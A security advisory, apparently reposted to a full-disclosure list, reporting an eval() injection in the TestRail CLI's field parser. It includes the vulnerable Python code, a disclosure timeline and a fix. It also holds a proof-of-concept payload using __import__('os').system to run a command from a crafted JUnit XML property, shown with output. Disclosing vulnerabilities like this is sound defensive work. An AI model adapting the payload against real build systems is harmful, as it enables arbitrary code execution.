This is not a very exciting vulnerability, but I had already publicly disclosed it on GitHub at the request of the vendor. Since that report has disappeared, the link I had provided to MITRE was invalid, so here it is again. -Devin --- # Unsafe `eval()` in TestRail CLI FieldsParser Date Reported: 2024-10-03 CVSSv3.1 Score: 7.3 CVSSv3.1 Vector: AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H Severity: Medium Vulnerability Class: Eval Injection ## Summary While parsing test result XML files with the TestRail CLI, the presence of certain TestRail-specific fields can cause untrusted data to flow into an `eval()` statement, leading to arbitrary code execution. In order to exploit this, an attacker would need to be able to cause the TestRail CLI to parse a malicious XML file. Normally an attacker with this level of control would already have other avenues of gaining code execution. However, there could be cases where an attacker can inject a malicious test result file but is otherwise unable to execute arbitrary code on the system running the TestRail CLI, resulting in a Local Privilege Escalation or Remote Code Execution issue. In the worst case, this could result in compromising a build system. ## Description The vulnerability stems from the `eval()` statement in the `FieldsParser.resolve_fields()` method: ```py def resolve_fields(fields: Union[List[str], Dict]) -> (Dict, str): error = None fields_dictionary = {} try: if isinstance(fields, list) or isinstance(fields, tuple): for field in fields: field, value = field.split(":", maxsplit=1) if value.startswith("["): try: value = eval(value) except Exception: pass fields_dictionary[field] = value elif isinstance(fields, dict): fields_dictionary = fields else: error = f"Invalid field type ({type(fields)}), supported types are tuple/list/dictionary" return fields_dictionary, error except Exception as ex: return fields_dictionary, f"Error parsing fields: {ex}" ``` https://github.com/gurock/trcli/blob/066008477bd4b05e46bb723c09373e8111cb2dea/trcli/data_classes/data_parsers.py#L61 This method is called when parsing result or case fields in JUnit or Robot XML files if there are any Properties that have names starting with`testrail_result_field` or `testrail_case_field`. In both cases, the value or text of that Property is passed more or less directly to `eval()`. A specially crafted Property value can therefore be used to execute arbitrary Python code. ### Examples The following XML file will cause the TestRail CLI to spawn a shell and execute our echo command: ``` :[] or __import__('os').system('echo THIS IS INSIDE THE EVAL STATEMENT') ``` ``` (trcli) devin@devin-laptop:~/code/trcli$ trcli -h http://127.0.0.1 -u me -p no --project foo parse_junit -f ./pwn.xml --title bar TestRail CLI v1.9.7 Copyright 2024 Gurock Software GmbH - www.gurock.com Parser Results Execution Parameters > Report file: ./pwn.xml > Config file: None > TestRail instance: http://127.0.0.1 (user: me) > Project: foo > Run title: bar > Update run: No > Add to milestone: No > Auto-create entities: None Parsing JUnit report. THIS IS INSIDE THE EVAL STATEMENT Processed 1 test cases in section Tests.Execution. ``` ## Impact An attacker able to inject a malicious JUnit or Robot test result XML file can compromise the system running the TestRail CLI. ## References * CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html) # Recommendations Use `ast.literal_eval()` instead. While `literal_eval()` could still be abused to cause a Denial of Service, it prevents the execution of arbitrary code. # Timeline 2024-10-01: Issue Discovered 2024-10-02: Contacted the vendor according to the instructions on their [security page](https://www.testrail.com/about/security/) 2024-10-03: Report sent to vendor via ZenDesk ticket \#359983 2024-10-04: Vendor requests public disclosure in a GitHub Issue 2024-10-11: Published report as [public GitHub Issue](https://github.com/gurock/trcli/issues/279) 2024-10-30: Noticed that the vendor has deleted the [public GitHub Issue](https://github.com/gurock/trcli/issues/279) containing the bug report and some conversation about responsible disclosure and requesting a CVE. The vulnerability has not been fixed in the `main` branch. 2024-11-05: Full disclosure mailing list notified.